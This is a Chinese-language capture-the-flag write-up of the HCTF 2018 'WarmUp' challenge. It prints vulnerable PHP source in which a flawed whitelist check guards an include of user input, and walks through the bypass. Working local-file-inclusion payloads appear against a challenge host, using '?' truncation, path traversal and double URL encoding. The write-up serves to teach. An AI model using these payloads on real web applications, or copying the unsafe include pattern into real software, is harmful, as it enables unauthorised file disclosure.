HCTF 2018:WarmUp(源代码详解)

前言

之前刷BUUCTF时遇到过这题,这次刷XCTF时也遇到了,那就写个详细点的WP吧

寻找利用点

打开题目,是一个滑稽图
在这里插入图片描述
没发现什么,查看下网页源代码,发现了source.php
在这里插入图片描述
访问source.php,发现以下source.php中的代码,经测试,这是index.php的源代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

hint.php是什么?看一下,原来flag在/ffffllllaaaagggg中
在这里插入图片描述

代码分析

代码整体框架,其核心利用代码如下:

 if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

整体利用的漏洞就是代码最后的include函数,利用文件包含漏洞
因此,最后的if条件语句是关键,即需要满足if(true && true && true),才会执行include函数,否则输出滑稽图。
! empty($_REQUEST['file']满足true简单
is_string($_REQUEST['file']满足true简单
emmm::checkFile($_REQUEST['file']满足true,需要执行emmm类中的checkFile函数,使得该函数最终返回true才可以

整体细节详解(checkFile函数的目标就是返回true):

 class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
1、定义了一个类emm

2、在类emm中定义了一个checkFile()函数

3、不执行函数,先判断下面的if语句:if (true && true && true)才能执行include函数,所
以需要满足如下要求:
(1)$_REQUEST['file']不为空,!empty($_REQUEST['file']才会返回true(2)$_REQUEST['file']是字符串,is_string($_REQUEST['file']才会返回true;
(3)checkFile($_REQUEST['file']返回true,emmm::checkFile($_REQUEST['file']才
会返回true;
因此,满足这三个条件,最后才能执行include函数

4、接下来看看checkFile()函数中的内容
(1)第一个if不能return flase,因为这里不能执行{}中的语句,因为不管return true或者return false,都会
终止当前函数的执行,所以需要满足if (false || false)才能继续执行下面的代码,即,$page存在并且是字符串;
(2)2个语句可以执行,返回true
那么,就需要$whitelist中存在$page
注:in_array函数是检查数组中是否存在某个值(找到true;找不false),特别注意这是在数组的键值中找,不包括键

5、这样的话我们就可以构造payload
(1)测试payload1:
http://111.198.29.45:56708/index.php?file=source.php
执行了source.php,输出了里面的内容

(2)测试payload2:
http://111.198.29.45:56708/index.php?file=source.php../../../../../ffffllllaaaagggg
我想得到ffffllllaaaagggg时就出问题了,因为ffffllllaaaagggg不在$whitelist数组的键值中,并且
继续执行代码后,下面$_page=source.php../../../../../../../ffffllllaaaagggg,第3if语句false,
urldecode后$_page=source.php../../../../../../../ffffllllaaaagggg,mb_substr后还是这个,第4if语句还是false,最后输出you can't see it,还return false,这还玩啥

该如何解决?我需要include ffffllllaaaagggg文件,而且需要使用../,怎样绕过?
注意到mb_strpos($page . '?', '?')没,我们构造一个?即可

(3)测试payload3:
http://111.198.29.45:56708/index.php?file=source.php?../../../../../../ffffllllaaaagggg
构造?的话,第2if语句就不能返回true了,第3if语句一样,也不能执行return语句,第4if语句需要满足if
(true),因为需要执行{}中的内容,最后使得checkFile()函数返回的布尔类型为true

(4)payload3执行流程:此时file=source.php?../../../../../../ffffllllaaaagggg
第1if返回false2if返回false
$_page=source.php
第3if返回true,退出checkFile函数,此时核心代码中已满足if(true&&true&&true),即执行include函数
最后include(source.php?../../../../../../ffffllllaaaagggg)

疑惑:为什么urldecode没有用到?有些wp用到了,但这也是多此一举了,最后目标其实是一样的,checkFile汉纳树返回true嘛
例如用到urldecode的payload:

http://111.198.29.45:56708/index.php?file=source.php%253f../../../../../ffffllllaaaagggg

执行流程:

1if返回false2if返回false
$_page=source.php%3f../../../../../ffffllllaaaagggg
第3if返回false
urldecode执行后,$_page=source.php?../../../../../ffffllllaaaagggg
执行mb_substr后$_page=source.php
return true
下面核心代码执行同理
最后include(source.php%253f../../../../../ffffllllaaaagggg)

注意

(1)只要函数中return执行了,就会立即结束函数的执行,继续执行函数外的代码
(2)||表示任意||两边只要有一边是true,整体就返回true
(3)in_array函数是检查数组中是否存在某个值(找到true;找不false),特别注意这是在数组的键值中找,不包括键
(4)mb_strpos查找目标首次出现的位置,从0开始
(5)mb_substr返回字符串,特别注意的是:mb_strpos获取的数字,在mb_substr不是从0开始,而是代表返回的长度

发布了135 篇原创文章 · 获赞 51 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/qq_41617034/article/details/104695005